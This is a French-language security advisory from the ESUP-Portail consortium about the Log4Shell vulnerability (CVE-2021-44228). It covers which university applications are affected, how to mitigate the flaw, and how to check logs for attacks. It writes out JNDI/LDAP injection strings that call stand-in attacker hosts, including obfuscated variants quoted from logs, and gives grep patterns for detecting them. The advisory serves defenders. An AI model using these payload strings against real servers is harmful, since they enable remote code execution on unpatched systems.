Utilisation et diffusion de ce document
Les avis de sécurité du consortium ESUP-Portail portent sur des vulnérabilités des logiciels diffusés par le consortium. Il est de la responsabilité de chacun des destinataires de ce document de ne pas le rediffuser en dehors du cadre pour lequel il a été écrit, pour des raisons évidentes de sécurité des Systèmes d'Information de tous les établissements du consortium ESUP-Portail.
Objet | Log4shell - CVE-2021-44228 vis à vis des applications ESUP |
Référence | ESUP-2021-AVI-001 |
Date de la première version | 12 décembre 2021 |
Date de la dernière version | 12 décembre 2021 |
Source | CVE-2021-44228 |
Diffusion de cette version | Publique |
Historique |
|
Planning prévisionnel | - |
Pièces jointes | - |
Risque
- Possibilité d'envoyer et faire exécuter du code à un serveur.
Systèmes affectés
La faille concerne toutes les versions de log4j 2.x. Elle est corrigée dans la version 2.15.0 .
NB :
- log4j 1.x n'est pas concerné
- la faille est exploitable dans toutes les versions de Java (notamment avec tomcat)
...
- Apereo CAS est particulièrement exposé
Description
Exemple (simple) avec un serveur Apereo CAS vulnérable (dans les conditions d'exploitation les plus défavorables).
- L'attaquant saisit en tant que username dans le formulaire d'authentification /login la chaine "${jndi:ldap://serveur-attaquant-ldap.com/ExploitLog4j2}" et un mot de passe quelconque
- CAS log ce username dans cas_audit.log (authentification échouée)
- la chaine "${jndi:ldap://serveur-attaquant-ldap.com/ExploitLog4j2}" est parsée par log4j
- l'expression jndi est évaluée, une récupération de l'object ldap donné par ldap://serveur-attaquant-ldap.com/ExploitLog4j2Ref est effectuée
- cet objet correspond à une référence sur http://serveur-attaquant-http.com/ExploitLog4j2.class
- la classe http://serveur-attaquant-http.com/ExploitLog4j2.class est récupérée et exécutée
Solutions
- technique "mettre à jour" : remplacer les jars de log4j-core par la version 2.15.0 (attention maven central fournit une version compilée pour Java ≥ 8)
technique "zip" : supprimer la classe du jar
Bloc de code language bash zip -q -d log4j-core*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
technique "configurer" : si log4j-core ≥ 2.10, ajouter ceci à la ligne de commande java
Bloc de code language bash -Dlog4j2.formatMsgNoLookups=true
- technique "firewall" : empêcher les requêtes TCP sortantes du serveur
NB : il faut redémarrer le service pour appliquer la modification (sauf pour la technique "firewall")
Applications concernées
Apereo CAS
- ≤ 4.0 : pas affecté
- ≤ 5.2 : technique "mettre à jour" ou "zip" ou "firewall"
- ≥ 5.3 : technique "mettre à jour" ou "zip" ou "firewall" ou "configurer"
Nuxeo
- 10.10 : technique "mettre à jour" ou "zip" ou "firewall" ou "configurer"
Elasticearch
- 6.5.3 debian 9 : technique "mettre à jour" ou "zip" ou "firewall" ou "configurer"
- 7.9.1 : technique "mettre à jour" ou "zip" ou "firewall" ou "configurer"
Logstash
- technique "zip" ou "firewall" (la technique "configurer" ne marche pas !)
Solr
- 8.5.1 : technique "mettre à jour" ou "zip" ou "firewall" ou "configurer"
Shibboleth idp
- non concerné SAUF si vous utilisez le docker fourni par InCommon
Internet2 Grouper
- non concerné SAUF si vous utilisez le docker fourni par InCommon
Applications non concernées
- esup-ecandidat
- esup-mdw ()
- esup-pod
- esup-pstage
- esup-signature
esup-smsu
esupUserApps / ProlongationENT
- shibboleth idp (sauf docker)
- bbb 2.2
- Ametys ODF
Analyse des logs
Exemple avec un serveur Apereo CAS
Lors d'une tentative d'authentification, Apereo CAS peut loguer avec log4j-2 le username, l'"adresse ip" (entête http x-forwarded-for lorsqu'on se place derrière un proxy), le user-agent (entête http également qui peut être forgée) ...
Vous pouvez rechercher '${' ou encore 'Reference Class' pour voir si une tentative d'exploitation de la faille a été opérée.
Exemple :
| Bloc de code | ||
|---|---|---|
| ||
grep '${\|Reference Class' /opt/tomcat-cas/logs/cas.log
2021-12-11 05:48:59,478 WARN [org.apereo.cas.web.flow.SpnegoNegotiateCredentialsAction] - <User Agent header [${jndi:${lower:l}${lower:d}a${lower:p}://toto.log4j2${upper:a}attaq.io:80/callback}] is not supported in the list of supported browsers [[Firefox]]> |
| Bloc de code | ||
|---|---|---|
| ||
grep '${\|Reference Class' /opt/tomcat-cas/logs/cas_audit.log
CLIENT IP ADDRESS: ${jndi:ldap://X-Forwarded-For.univ-ville.fr.id-de-test.solution-de-test.net/a.bc}
CLIENT IP ADDRESS: ${jndi:ldap://hack.me:1389//univ-ville.fr/X-Forwarded-For}
CLIENT IP ADDRESS: Reference Class Name: foo |
Notes supplémentaires ici
La chaine Reference Class peut correspondre (sauf si rentrée telle quelle) à une expression ${... qui a résulté de la récupération d'une référence à une classe elle-même non récupérée.
Lorsque la chaine ${.. est présente: elle a pu ne pas être interprétée (cas d'un CAS dont la vulnérabilité est fixée) ou elle a pu être interprétée de bout en bout (récupération de la référence, récupération du code) ; une analyse plus poussée (flux) est à envisager.
Liens
- CVE-2021-44228 : https://www.cve.org/CVERecord?id=CVE-2021-44228
- CERTFR-2021-ALE-022 : https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/